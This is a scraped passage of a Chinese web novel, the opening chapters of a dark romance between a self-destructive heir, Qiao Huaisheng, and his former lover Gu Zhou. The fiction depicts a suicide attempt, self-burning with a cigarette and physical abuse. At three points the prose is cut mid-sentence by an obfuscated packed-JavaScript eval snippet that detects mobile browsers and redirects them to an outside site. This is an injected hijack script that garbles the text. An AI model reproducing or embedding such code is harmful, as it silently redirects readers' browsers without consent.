《疯批美人训夫指南》 1. 第一章 “乔乔,秦舟回来了。” 乔淮生听到这句话的时候还是深夜。 躺在地上的小明星赤裸的背上是斑驳的伤痕,可靠坐在墙边的乔淮生却干干净净,只是微微甩了甩发酸的手,灯光下是一张比明星还昳丽的脸,好半晌,才轻笑了声:“行,还知道滚回来。” “秦家说是后天晚上给他办接风宴,怎么样,你……” “去啊,为什么不去?” 乔淮生眼下一枚红痣,一弯便随着灯光浮动:“毕竟是相识一场。” “他回来了,我不去送份大礼,那怎么行呢?” 乔淮生挂了电话,垂下眼睛,落地窗下路灯闪烁,小明星像是死鱼一样喘息,看他不说话,又扑过来,踉跄着抓住他的脚踝,声音颤抖:“乔总,乔总,我可以继续的乔总。” 乔淮生垂下眼,带着点笑,狭长的眼尾是天生的风流性感:“是吗?” “对,对,”小明星拖着一身残破伤痕往上爬,“乔总,我……” 小明星的眼窝偏深,其实这样上仰着看人的时候,会给人很凶,带着点狼性的感觉。 也许他自己也知道,这不是金主惯常会喜欢的类型,于是悄悄地给自己做了个下至,看起来又奶又乖。 毫无特色。 “我有没有告诉过你,”乔淮生用脚尖踢了踢他的脸,轻轻地啧了一声,“不要动这双眼睛。” “对不起,对不起,乔总,我不知道,我只是想要讨你喜欢一点,求求你,我可以,我可以再去做回来的。” “算了。” 赝品终究是赝品,真是没意思。 一张卡从乔淮生的指缝中掉落,像是遮羞一样盖在了小明星身上,他连忙伸手去接,听到乔淮生道:“出去之后知道该怎么说吗?” “知道,知道!”小明星连连点头,“您放心,我知道规矩的乔总。” “那我们下次……” “没有下次了。” 他抬步从小明星身上踩了过去,目光冷淡地没有任何留恋:“你以后不用再来了。” 等乔淮生洗完澡回来的时候,小明星的痕迹已经消失得干干净净。 桌上还放了两杯红酒,连经理都知道乔淮生有失眠的毛病,所以特意放下来助眠的。 猩红的酒液很像是鲜血,乔淮生坐在落地窗前点了根烟。 五年了。 从五年前他们分手、分别,到现在已经五年了。 浴袍露出一点雪白颈骨,乔淮生微垂着头,望着下面川流不息的夜色。 他当初和秦舟在一起的时候,是没有这样的好景色的。 有的只有鲜血和黄昏,他和秦舟嘴唇上全是伤口,在血腥味里拥抱,力道大像是要把对方勒死,他掐着秦舟的脖子,半是抚摸半是警告: “如果你敢背叛我,我一定杀了你。” “好。” 烟蒂燃烧到指骨,乔淮生轻轻地笑了一声,那枚痣跟着轻轻颤动,像是眼下的一滴泪。 乔淮生垂眸看了眼,随后,抬手将它按灭在了手臂上。 血肉像是火焰的燃料,但乔淮生仿佛已经感知不到疼痛一般。 就好像是一根木柴,因为曾经彻底地烧过一遍,所有往后剩下的都只有余烬。 不过还好,还好。 乔淮生想。 终于回来了。 至少在熄灭之前,还能拖着另一个一同化成灰烬。 * “芜湖!乔总!!!” “乔总厉害!!!!” 一片欢呼声中,深灰色迈凯伦塞纳在弯道一个回旋,稳稳地将车压死在终点线上,车门向上打开,一条长腿从车中迈出。 乔淮生摘下头盔,靠在车门前捋了把头发,立刻有人跑过来递上水和毛巾,手指若有似无蹭过他的指尖:“擦擦汗乔总!刚刚那个甩尾漂移太厉害了,乔总你练了多久啊,怎么做到的!” 乔淮生回神看了眼,小男生的眼睛亮亮的,一脸的崇拜好奇,看起来像是刚从大学里出来一样,不知道是怎么混到这里来的。 他挑了挑眉,倒也没生气,反而是笑起来:“想学吗,我教你?” 光这张脸这个声线这个温柔,难怪圈里至少有一半人想要跟着乔淮生,小男生仰起脸:“想!乔总,我……” “乔乔!” 一旁的关硕打断了谈话,作为乔淮生发小,他可是从头到尾目睹了他和秦执分分合合的全程的,忍不住出口提醒:“秦家的晚宴要开始了。” “我们现在开始从这里过去,说不定才更好赶上开场。” “秦家?”旁边的男生接过话,“是纵缰的那个秦家吗,乔总的恒盛不是一向和他们……” “急什么,”乔淮生转手将头盔戴在了男生的头上,弯下腰,替他系上系带,修长的指尖在眼前晃,眼眸含笑,“玩吗?我教你。” 既然是宴会,哪有主家先到的规矩。 忘了五年,乔淮生总该重新教教他。 * 晚宴到了中场,银灰色迈凯伦才终于甩身停在门口。 入口处金碧辉煌,宴会厅里人头攒动,唯一的继承人回国,秦家摆出了十足的架势,直接买下了一整个庄园给他接风。 乔淮生穿了一身酒红色西装,身材相貌简直和他那辆车一样打眼,一进门就有人凑过来跟他打招呼:“呀,什么风把乔总给吹来了!” “肯定是冲着秦家的这个继承人来的吧,我可是听说,秦之昭现在都不管事了,直接把公司放给了这位,哦对,”来人冲着乔淮生敬了杯酒,“这位自打认回去就出了国,乔总还没见过他呢吧?” “刚好——秦总来了!” “感谢诸位赏脸来参加这次晚宴。” 略带着沙哑的、彬彬有礼的声音在大厅中央响起,乔淮生随着众人一起抬起眼。 隔了五年,这还是他第一次重新见到秦舟。 五年前的秦舟还不叫秦舟的时候,总是穿着洗得发旧的衣服,人生中的第一条领带是乔淮生送的,连领带夹都是乔淮生从自己的领口换到他的领口上。 但是现在,秦舟浓眉俊颜,披着一身黑色绲边西装,压暗的金纹像是这人深藏不露的性格,西裤裹住长腿,修长的骨节握着话筒:“今天,也同样是纵缰创立三十周年的日子,从当初的第一块地基走到现在,纵缰在董事长秦之昭的带领下,始终坚持……” 讲得真好,乔淮生都忍不住要给他鼓掌了。 从五年前他就知道,秦舟天生适合这种场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861073|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合,领带一系就能衣冠楚楚,风度翩翩游刃有余,仿佛这里是他的国度。 不像他,需要勉强才能维持正经的坐姿,像个用来装点门面的漂亮花瓶,唯一的目的就是砸碎自己,毁掉宴会。 “看起来还挺像回事,乔总,宁市以后不会就是你们两个的天下了吧。” “是什么是,”旁边的关硕愤愤不平,小声道,“明明以前就是乔乔身边的一条狗。” 乔淮生从侍者手里接了杯酒,闻言冷笑了一声,回道:“不一样。” 他说:“狗不会背叛主人。” “最后,希望各位能够尽兴。” 台上的秦舟万众瞩目,全场的灯光一同打在他的身上,再没人注意他那肮脏落魄的身后,是如何踩着他们之间的情谊爬上这个位置。 话音一落,众人跟着鼓起掌来。 宴会的中心跟随着人群移动,秦舟走下舞台,那人流朝着便朝着这里近了一步。 五年四个月,一千九百四十五天。 乔淮生看着秦舟从这里路过,转身,几乎就要擦肩而去。 “秦总。” 乔淮生开口叫住他。 他斜倚在酒架旁,头发比以前长了些,开头是眼尾便含笑,姿态闲散,离近一点就能嗅到那在温柔乡里泡过的香水味。 好像不是来参加宴会,而是要搂着某个人的腰共度春风。 秦舟于是也回了个笑容。 只略略勾了勾唇角,商场上人人熟练的假笑,除了彼此,不会有人知道他们曾经如何刻骨炽热地贴近过。 秦舟端起一杯酒,与乔淮生轻轻一碰,将距离维持在一个不远不近的礼貌位置:“乔总,幸会。” 五年不见。 五年,原来只剩下一句幸会。 乔淮生握紧手中的酒杯,手臂未曾愈合伤痕好像又在这一刻清晰地刺痛出来,燃烧过一遍的火焰再一次烧过他的全身。 他抬头,终于更近地看到秦舟那双眼睛,眼窝深邃,眼尾凌厉,像是凶恶的狗,又像咬人的狼。 “是啊,”乔淮生说,“幸会。” 秦舟略一点头,视线从乔淮生被西装包裹的身体扫到脖颈处显眼的口红印,于是退后一步:“我那边还有事,失陪了。” “顾舟。” 乔淮生终于开口叫他的名字,不叫秦舟,却叫顾舟。 秦舟蓦地停住了脚步。 一点单宁味在舌尖漫开,乔淮生晃了晃酒杯,声音不大,带着不容置疑的发号施令:“我让你走了吗?” “五年前你走的那天我就说过——” 他说完这话,突然翻过手腕,手中的酒杯猛地向下一砸! 那些猩红的,酸苦的酒液在秦舟的头顶漫开,精致的西装瞬间成了一片狼藉。 在众目睽睽下,衣香鬓影的接风宴上,乔淮生抓着秦舟的衣领,一拳将他砸在了旁边的酒架上。 昂贵的酒液倾倒,画面被染成鲜红,他叫他顾舟,可周遭却只有碎了一地的玻璃,五年的时光如同不能收场的宴会横亘在他们身旁。乔淮生眼眸猩红,一只手扼着秦舟的脖子,好像要将人活活掐死:“我说过,” 他一字一句,用力强调: “你要是再敢回来,我要你的命。” 2. 第二章 #惊!港城两新贵宴会大打出手,纵横之争已然拉开!# 关硕将页面调出来放在乔淮生的面前:“你看看你看看,让你昨天那么冲动,现在都登报了吧!” 乔淮生只好将眼睛从手机屏幕上移开,看了眼新闻。 不得不说,摄影师拍的很有技术,一地的碎片里,乔淮生的指骨砸到秦舟的脸上,色调很暗,周围的观众是黑色的剪影,于是整个画面只剩那样一双眼睛。 秦舟直勾勾地盯着乔淮生,眼眸深深,像狼又像恶犬,好像是要从他身上撕下一块肉来。 乔淮生蓦地想起,好像第一次见到秦舟的时候,也是这样一幅画面。 那个时候他在做什么呢? 哦,在尝试自.杀。 盛夏的纹身店里只有老旧的风扇,乔淮生手里把玩着刀刃,仿佛那不是见血封喉的利器,而是什么通往极乐的工具。 纹身店是之前关硕中二期的时候非要盘下来的,没过几天就失去了兴趣,由于选址在老城区,交通不便人员混杂,花了多少就赔多少,于是乔淮生说要收的时候,关硕二话不说就同意了。 这里监控缺失,气味混乱,一个人死在这儿,估计十天半个月也不会有人打扰。 挺好的。 刀刃在手腕上压出薄薄一层血痕,乔淮生面无表情地看着那点鲜红,听说如果割断动脉,鲜血会像是瀑布一样涌出来。 也许在这个时候,他才会觉得自己是流动的,活着的。 乔淮生几乎是冷淡地看着自己被破开的血肉,随后,刀刃向下,狠狠一掼! 砰! 好像是有什么撞到墙上,是连在屋内都能听到的巨响。 刀刃只隔一线,乔淮生往下的手被迫停住,循声望向窗外。 楼下有一群人在斗殴。 不过乔淮生靠近了才发现,斗殴其实不太准确,他们更像是一群人围殴一个人。 被围着的那男生穿了件简单的黑T,眉骨处被划上一道显眼的伤痕,鲜血顺着他高耸的鼻梁往下落,身上的伤已经不能用简单的狼狈来形容。 黑色的短袖几乎被血浸透,一次一次奋力地爬起反抗却又被人按下,拳头顺着他的侧脸和腹部落下,好几次都让乔淮生觉得他们是想要了这人的命。 当然,乔淮生并不在意这场战斗的结果。 鲜血还在顺着他的腕骨洇出,他现在的精神状态并不足以让他去关心别人的生死。 乔淮生只是觉得,如果这个人在这里出了事,警察估计会把方圆几里的人都叫起来问询。 这和他的计划实在南辕北辙,乔淮生并不希望自己被人发现,最好是腐烂到连面目也认不出来,下辈子再也不要做一个人,这样才好。 他隐隐地皱起眉,在下楼和警察来之前结束自己之间交战了数次。 然后……他见到了那双眼睛。 男生被人死死地按在地上,十几人对他拳打脚踢,他浑身是伤,鲜血淋漓,所能向上仰望的,唯余那一双眼睛。 清亮,黝黑、牙齿咬紧,好像阴沟里的鬣狗,浑身的肌肉崩起,不甘又倔强地望着天空。 乔淮生隔着二楼的玻璃,都能被男生眼中的那股执着灼烧,手指忍不住微微抖动,一直以来想象的剧本角色好像突然有了灵魂。他明白这是寻觅到同类的信号,甚至能透过那双眼睛,看到男生身体里涌动的几乎毁天灭地的恨意。 一、二、三。 乔淮生在心里默数,战栗般期待着男生的反应。 “他妈的,”按着男生的刀疤脸啐了一口,“你老子不还债,行啊,那我把你这双手剁了扔给他,你猜他会不会舔着来求我!” 刀疤脸说着开始摸刀,男生胸腔剧烈起伏,浑身像个被扔掉岸边的鱼一样弹动。 三、二、一! 银色的刀刃亮起!倒计时结束的一瞬间,男生猛地像只猎豹一样跃起,长腿将人往后一压,抓着刀疤脸的手腕用力一折! “啊——” 惨叫声在巷子中响起,趁着刀疤脸挣扎之际,男生反手将刀子从他的手中夺出,眉骨处的血痕让他看起来像是地狱来的杀神,一刀划向了试图抢刀那人的手臂,鲜血喷涌而出。 对!就是这样! 乔淮生在心里想。 就是这样,这样令人厌恶的,只会带来疼痛和伤害的世界,为什么不能反抗?为什么不能举起刀? 这不是你的错。 这不是我们的错——乔淮生与他一同握紧手中的刀。 在这个残阳似血的夏日傍晚,他第一次觉得自己离死亡如此之近。 乔淮生确定他从男生的眼睛里看到了一模一样的毁欲,于是他注视着,等候着。 掌心的刀柄有些发烫,乔淮生几乎能看到自己的结局。 他看着男生举起了刀,刀刃与那人的脖颈只隔一线。 他看着男生抬头望了眼天空,那双黑亮如同鬣狗的眸子。 他看着男生闭了下眼睛,随后—— 噗呲! 男生抓着到刀疤脸的肩往上一提,膝盖顶在他的腹部,刀子狠狠地扎进他旁边的墙壁里,声音带着喘息的灼痛:“带着你的人,滚。” 乔淮生手中的刀子落在了地上。 他胸中油然一种被背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔淮生不觉得这样的笑容应该出现在他的脸上,但是男生的笑安静又清冷,好像是看到了什么极为幸福的事情。 尽管他的眉骨处还带着伤痕,尽管他身上的血迹未干,尽管他就在这样肮脏又破旧的地方。 为什么——为什么要笑?为什么可以忍受?为什么会停下? 为什么……依然能这样的活着? 乔淮生抬头看了眼月亮。 没关系,乔淮生告诉自己,他终究会得到答案。 从男生身上,从他自己身上,从他们这些命运的弃子身上。 他会看着他,看着他再一次露出这样的表情。 他要证明给他看——这个肮脏的、只有鲜血与疼痛的世界,从一开始就不值得停下。 3. 第三章 调查这样一个男生并不费什么心力。 只需要稍微多花一点钱,那个按摩店的老板娘便什么都讲了出来—— 男生叫顾舟,是被对面那户人家捡回来的,那户人跑了媳妇儿,家里只剩下一个老太太和一个不争气的儿子。 现在老太太因为生病住了院,儿子又欠了赌债,顾舟本来也没有受过什么良好的养恩,要被迫承受他们的债务,不仅要到处被要债的殴打,还要在学业之余去餐厅打工给老太太凑医药费。 乔淮生现在就在这家餐厅里。 “淮少!真是没想到!淮少居然能来我生日会,艹!我真是!” “来来来,淮少,一起喝一杯!这边的姐姐们可带劲了,我跟你说……” “说什么说,去去去! ”关硕推了他们一把,“我们乔乔是好孩子,芸姨等会儿还要来接他呢,快把你们这些脏东西撤一撤!” “不好意思。”乔淮生落了座,在一堆酒里拿了瓶橙汁,他本来就长得好看,连那笑也是带着三分春风的,“我最近感冒了,不太能喝酒。” “那是是是,”以乔家的地位,就算是乔淮生把他们所有人的酒一起换成白开水了也没什么敢说什么,“感冒了确实是不能喝酒。” “对啊,生病了还是得好好养着。” “是啊是啊。” 乔淮生坐在位置上,只是礼貌地保持着微笑。 这些礼貌对他来说是一种刻在骨子的习惯,但他只觉得周围很吵闹。 所有人的声音像是隔了一个蒸笼,嗡嗡地熏烤着他的耳膜。 “阿姨还亲自来接你啊,”是寿星过来给他敬酒,“淮少跟家里人关系还真是好。” “嗯。”乔淮生弯了弯眼睛。 为什么这个时候还要笑呢?这种习惯让乔淮生觉得恶心,可连那回应都变成一种刻在骨子的本能:“她不太放心我。” “哎呀,瞧瞧人家这做妈妈的。” “是啊,我妈要是两天不揪着耳朵骂我我就谢天谢地了。” “得了吧,你们家里弟弟妹妹都多少了,能跟淮少比啊,咱们淮少父母恩爱年轻有为。” “整个宁城,能跟恒盛打擂台不就剩一个纵缰,可惜秦家绝了后,等那个残废一死,这宁城还不是我们淮少的天下。” 乔淮生还是带着笑,温柔的,礼貌的,乖顺地,眼尾的痣随着灯光浮动,没有人看到他藏在下方的手指死死地掐着自己的手腕。 尚未愈合的伤疤被撕碎开来,疼痛才让他觉得畅快和清醒。 乔淮生还没有忘记自己到底是来做什么的。 “不好意思,因为我让大家不尽兴了,要不这样吧,我请大家喝Louis Roederer.” 路易王妃香槟,堪称是酒里的劳斯莱斯,只小小一瓶都要六位数,饶是他们家境都不错,也没人敢像乔淮生这么玩的。 寿星刚要推据,便听到乔淮生又道:“家里管得严,我还没见到过马刀开香槟呢,刚好趁今天开开眼。” 乔淮生这个身价怎么可能连开香槟的小把戏都没看过,只不过是怕他们不好意思找个托辞罢了,怪不得所有人都说乔家大少爷温文尔雅风度翩翩,跟这种人说话真是舒服。 “行啊,”寿星一拍桌子,“服务生,过来开个香槟,要路易王妃!” 端着托盘的服务生很快走了进来。 为首的那位穿着店里统一制式的白衬衫,打领结,身姿挺拔仪态出众。 很奇怪,乔淮生从这个时候就发现,尽管是在这样的淤泥里,顾舟依然拥有着可以使人一眼望见的能力。 寿星一指:“你你你你,就你,马刀开香槟,会吗?” 顾舟这才抬起头来。 他眉骨上的疤被刘海盖住了,一同遮住的还有眼神里的凶性:“会。” 他轻声说,看起来好像是低眉顺眼的模样,可越是这样,才越是让人想要撕下那层皮囊,看着这个不论什么时候都能保持冷静的面容上,再一次露出那种刻骨的扭曲的表情。 乔淮生抚了抚手腕。 “会就好!那就你了,来来来,来这边开一下,开得好了有小费!” 寿星特意指了一个离乔淮生近的方向,可是顾舟的眼神却并不望向他,只是微微垂下头。 那双骨节分明的手上再次握上刀柄,尽管目的只是哗众取宠的娱乐,顾舟指腹按住刀背,将其置于香槟酒瓶之上,眼眸冷静,猛地向上一滑。 砰! 开启的却不是瓶塞,整瓶香槟砰的一声落了下去,溅起的碎片落在他们脚边,包厢里几个女生瞬间大叫起来,顾舟站在原地,有些疑惑地看了看自己的掌心。 “你怎么回事!”但是已经有人的拳头要挥上去,“老子今天过生呢,你是来砸场子的是不是,你知道这一瓶酒多少钱吗!” “经理呢,叫你们经理过来,平时是怎么培训的人,他妈的!” “抱歉,”顾舟讲话的声音也冷冷清清的,脊背挺直像一棵孤松:“我现在再为您重新开一瓶。” 殊不知这种事情,没人想看他解决,只有人想看他弯腰。 顾舟的这种态度显然惹到了一群纨绔少爷:“抱歉,你说一句抱歉就行了?你知道这瓶酒要多少钱吗?” “你们经理呢,他平时就是这么叫教人的吗?去把他给我叫过来!” “叫什么经理,要我说,既然是他弄碎的,就让他自己捡起来喝了,肯定还没喝过这么贵的酒吧!” “就是,让他去地上舔干净!” “看什么看,”终于有人注意到了顾舟的那双眼睛,“怎么着,你这个眼神,不服气是吗?老子说让你喝就给喝!” 那人猛地踹了顾舟一脚,抓着顾舟的头发将他按下去,衬衫因此被撕扯得发皱,未曾愈合的伤发出崩裂般的痛:“今天就要让你知道知道规矩!” 顾舟猛地挣扎了一下,低垂着的眼神一暗。 “开香槟搞砸了,”那人抓着顾舟往乔淮生那里靠,“来,给淮少表演一个牛饮。” 额头被迫扬起,顾舟在那一瞬看到了乔淮生的脸。 端坐在人群最中央的小少爷,穿白色高领毛衣,长长的袖口盖住手腕,眼睫低垂,瞳孔干净,面前放的不是酒而是果汁,在乌烟瘴气的包厢里,独他一人干净地好像是湾月亮。 扬起的指骨抓了一下又空荡荡地松开,顾舟被人狠狠地按了下去。 “好了,”乔淮生终于说话了,语气温柔,迈步起身,“不是都说了今天过生日,何必弄成这样。” “淮少你是心地善良,你不知道,他们这种人,如果不给一点教训,只会越来越过分。” “他们跟我们都是一种人。”乔淮生说。 或者说,他跟顾舟才是一种人。 在两天前的那个傍晚,在同一个巷子里,他们曾经同时握着刀,每个人手中,都差一点结束一条生命。 但是他们都松开了。 这和他剧本里预想的结局并不相符。 乔淮生想不明白,每一个人辗转反侧失眠的夜里,睁着眼睛看着像是墓碑一样的天花板,或者从高高的栏杆旁往下望,他都在问自己这个问题。 但是他得不到答案,他无法从自己这里得到答案。 顾舟的出现让他的生命又痛苦地延续了这么多天。 所以,他要让他来做他最后的主角。 乔淮生把手放在顾舟肩上,替他抚了抚上面的一点玻璃渣:“碎了就碎了,再开一瓶不就行了。” “松手。” 声音不大,却足够有发号施令的能力。 两人悻悻地松了手。 乔淮生跟着俯下身:“你没事吧?” “没事。” 顾舟的声音冷冷的,刚要起身,乔淮生突然抬手捏住了他的腕骨。 腕骨很硬,皮肤和他整个人一样冷,可乔淮生却从中感觉到战栗般的灼热,好像在那个下午,他们共同握住了那把刀。 他靠近,强硬地逼着顾舟不得不与他在一个水平线上,语气中满是熟稔:“我见过你。” 乔淮生并没有等着顾舟反驳询问,便补充:“我们是一个学校的。” 这当然也是搜集来的信息,可乔淮生说得煞有介事:“之前的计算模型大会上,我在台上看到过你。” 跟乔易山学来的本事,这种人群熙攘的大会最合适用来拉关系让人亲近,没有人会知道是不是多了一个或者少了一个人:“你当时还得了奖的,对吧?” 乔淮生语气温柔如同春日溪流,好像是真如那些人所说,是个再善良不过,温文尔雅的小少爷。 可偏偏顾舟抬起头,认真地凝视着他,好像真的记过会场的每一个人,一字一句认真道: “但是我没有见过你。” “是吗?那应该是人太多了吧,”乔淮生笑了笑,那双眼睛显得更加勾人,实在是众口铄金的难得好脾气,“今天不好意思,他们喝多了,下手没什么分寸。” “你先去忙吧,我们的事,等会儿我这边散场了再去找你。”乔淮生微微凑近了些,声音压低,“可以吗?” * “淮少,顾舟到了。” 生日散场,新的包厢里只有乔淮生一个人,也许是空气有点凉,身上披了一件黑色风衣,那点白被彻底收拢了进去,灯光打亮他半扇面容:“好。” “没想到这小子竟然跟你是同学,我之前还以为他是哪里辍学过来的,谁知道……” “经理,”乔淮生打断他,语气永远是礼貌又合适的,“可以麻烦让我跟老同学单独说两句话吗?” “好好,那当然可以。” 乔淮生这样温和善良,经理当然以为顾舟是要鲤鱼跃龙门,立刻乖乖撤了出去,甚至包括旁边站着的侍应生。 房门被关上,整个屋子终于变得安静。 只剩下他们两个人。 乔淮生坐姿端正又优雅,却也不开口,只垂着眼,明明之前在包厢里喝着果汁的人,这回面前去摆上了香槟。 “对不起,今天的事情是我的失误,”顾舟以为这是对他的一种暗示,“那瓶酒我会想办法赔你。” “赔我?”谁知乔淮生却笑了,“你要怎么赔?” “用你那少得可怜的工资吗?” 轻蔑又嘲讽,和之前在包厢里简直判若两人,从一层假面里撕出的另一面,当初有多温柔,现在就有多恶劣,好像是从快要窒息的海面突然探出的一口呼吸,乔淮生只觉得畅快。 “那瓶酒要十二万,你觉得你要多久才能赔得起?” 这样出尔反尔的态度,任谁听起来都会因此而愤怒,他几乎是迫不及待地在顾舟这里卸下了伪装,却又像期待那把未出刃的刀一样期待着他的反应。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861075|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是顾舟也只是望了他一眼,语气是和之前一模一样的平静,乔淮生挣扎来的汹涌刚出闸就撞上了礁石:“我可能需要一点时间。” 但他越是这样,乔淮生就越想撕碎他,越想看他露出和那天在阴暗小巷里一模一样的表情:“是,”乔淮生说,“可是我凭什么给你这个时间呢?” 他语气很轻却极具压迫感,明明之前在包厢里还亲近地说着曾经的相遇,只是转脸之间却可以如此咄咄逼人。 顾舟注视着他:“所以,你想怎么解决?” 明明长了一双桀骜不驯的眼睛,却偏偏装作一副逆来顺受的样子,乔淮生微微扣紧手腕:“哦,他们之前是怎么说来着,让你开香槟给我看。” “我还没看到,”乔淮生示意他托盘里的酒和马刀,“不然,你重新开一遍,我就考虑一下,怎么样?” 原来这里的酒是为他准备的。 顾舟走到乔淮生身边,垂下眼,手指握上刀柄,正要去拿酒。 乔淮生突然在这个时候踩上了他的膝盖。 砰!顾舟一条腿重重地跪在了地上,笔直的西裤因此沾上了一点污脏,可乔淮生脚踝用力,逼得他不得不俯下身来:“我说让你站着开了吗?” “见过那么多次的把戏还有什么新意,既然要求人,总该放点让人满意的吧。” 顾舟以一种屈辱的姿势单膝下跪,乔淮生却坐得端端正正,仿佛不过是随意地伸出一条腿,像逗弄宠物般压在他的身上:“就这么开。” 顾舟凝眸看了他一眼。 皮质座椅上的乔淮生穿着披着黑色风衣,一点浮光越过他精致的面容,比起之前的温和善良,这样的恶劣好像让他那张脸更有了几分真实的昳丽生动。 这种近乎赤裸的打量让乔淮生笑了起来,顾舟手里还握着刀,偏偏他像是一无所知一样还在靠近,只需要再往前一点点,刀尖几乎就可以划破他的胸膛:“干嘛这么看着我,不服气?” 可顾舟依然没有生气,夕阳下的那一瞬好像是乔淮生一个人的错觉,这人长了这样一双眼睛,在他面前却只像是家犬,明明握着刀,也只是定定地望着乔淮生:“你跟之前不太一样。” 他居然真的在回答乔淮生的问题。 他居然真的在回答自己的问题。 乔淮生想笑,可这笑却不知道对谁,也许是笑连獠牙都不敢露的顾舟,又也许是笑那个跟了他一晚上的自己。 如果最后的终结都是一样,那么知道或者不知道答案又有什么意义? “那恭喜你,”于是乔淮生真的笑了起来,那枚痣因为变得明亮夺目,“这样的我,只有你一个人见到了。” 说罢,他猛地将那把刀从顾舟的手里夺了过来,随后,一把插进了他的嘴里! “单手开香槟我见得多了,你要是能把这瓶酒开了,我就给你一个延期的机会,怎么样?” 刀柄很深,口腔无法合拢,唾液只好随之分泌下来。 顾舟眼神一凛,抬手将那柄马刀给抽了出来,他们离得过近,刀刃几乎要划过乔淮生的脖颈。 但乔淮生却没有任何要躲避的动作,头皮发麻,心跳加速,长长的睫毛跟着颤了一下,几乎要闭上眼睛。 那刀刃掠过他,却从香槟的瓶身划过,顾舟指骨绷直,握得极稳,木塞砰得一声喷出,泡沫像是汹涌的河,在他们两个之间滴落。 一些酒液顺着顾舟的手指流了下来,他抬手,将开好的香槟重新放在桌上,目光掠过乔淮生微微战栗的指尖:“现在可以考虑了吗?” 乔淮生坐在沙发上,胸口起伏,那一刻说不清应该是失望还是庆幸,又或者不管是哪一种,都只会让他觉得更加自厌。 过快的心跳好一会儿才恢复原状,半晌,他才重新望向顾舟:“可以。” 他没有成功。 不过好在,在一场电影里,这只能算是个楔子般的开端。 他还有很长的一场戏,只差演员入场。 乔淮生笑了笑,半是夸奖半是逗弄:“你做得不错。” “要想让我宽限你也可以,”乔淮生垂眸凝视他那双眼睛,好像是一个猎手凝视自己即将打磨的艺术品,“你长得很符合我剧本的一个主角。” 他靠得太近,顾舟几乎可以闻到他脖颈处散发的幽香,与房间中的酒液一起发酵:“如果你真的想要偿还的话……” “那就来帮我拍个电影抵债吧。” 顾舟抬起眼,沙发上的乔淮生已经靠回座椅,昳丽的面容被刀棱般的光线分割,连那香味都变成一种侵略般的武器,刚刚的战栗好似一闪而过的假象,只短短一瞬间,他又恢复了那副发号施令的模样。 好像这个世界上任何事都会随着他的心意实现。 好像顾舟这二十年乏善可陈的人生里,也会有什么值得渴求和图谋。 顾舟微不可察地勾了下唇角:“好。” 乔淮生满意地笑了起来。 猎物入了笼,他们之间终于能够开始有条不紊地驶向被迫打断的血腥游戏: “在开始拍摄之前,”乔淮生微微凑近,香味更加清晰地钻进的顾舟的鼻腔,“我需要先跟你介绍一下你的角色。” 原来是黑茶香,顾舟想。 随后,他便听到乔淮生嗓音里的轻轻笑意,那热气像火焰一般撩过他的耳梢:“一个……” “冷血的,自私的,杀人犯。” 4. 第四章 “这边是校艺术团的影视孵化基地,同学你找谁?” 顾舟的脚步停下:“乔淮生。” “又一个来找乔学长的,自打学长做了副团,这里门槛都要被踏碎了,你是帮同学送情书还是求人办事啊?” “卧槽,你长这样,该不是也是看上了乔学长了吧? ” “你来拍戏,哦哦哦不好意思,你就是学长说的特意请来的演员吧?闫玲——乔学长在哪?” “来啦!” 小姑娘人如其名,一阵叮铃铃地跑过来:“学长正在布置场景呢,你跟我过来吧!” “这个就是学长请的人?” 两人还没走进,就有人堵住了去路,小男生长得清秀,看起来年纪也不大:“我去,你身上穿得这是什么啊,哪个专业演员能有你这么穷酸,该不会是假的吧?” “黎尚!”闫玲拧起眉,“你也太过分了!” “怎么了,我好歹也是剧组的演员,合理质疑一下有问题吗,你看看他这个样子像是能跟学长做朋友的吗?” “走走走。” 闫玲拉着顾舟就往里走:“学长之前海选男主的时候把他刷下去了,他心里酸着呢,你千万别往心里去,别生气。” 顾舟神色淡淡:“没有。” 他很早就不会因为这种事情再有任何的情绪波动了。 继续往里走,顾舟刚一进门,就在最中心的位置望见了乔淮生的身影—— “乔学长,这盏灯的位置放在这里可以吗?” “乔学长,镜头滑轨从这里开始铺吗?” “乔学长,我今天这个妆造可以吗?” “乔学长,你有没有吃早饭啊,我刚刚带了……” 乔淮生穿了一身休闲西服,衬得整个人腰细腿长气质清贵,不管是在什么时候,这个人似乎永远能够在所有人视线的焦点。 “学长!” 闫玲刚想示意他顾舟的到来,旁边的黎尚就挤进来,猛地挥手,刚刚的嘲讽统统不见,一张脸怕是要笑烂了。 乔淮生微一眯眼,抬手对旁边的人比了个暂停的手势。 随后,破开人群,朝着他们这个方向走来。 “乔学长!”黎尚努力凑到前方,“我们今天拍……” “来了?” 乔淮生的目光越过他,却落到顾舟的身上,微微笑道:“跟大家介绍一下,这位就是我说的电影男主角,顾舟。” 那些原本落在乔淮生身上的目光随之分到了顾舟的身上,审视、探寻乃至轻蔑。 乔淮生迈了一步站在他身前,将那些目光给挡住了:“跟我过来。” “好了,”这里是基地后面被隔出来的一个小房间,四下昏暗,顾舟隐隐皱眉,走在前面的乔淮生却突然一停步子,“好了,脱衣服。” “怎么?” 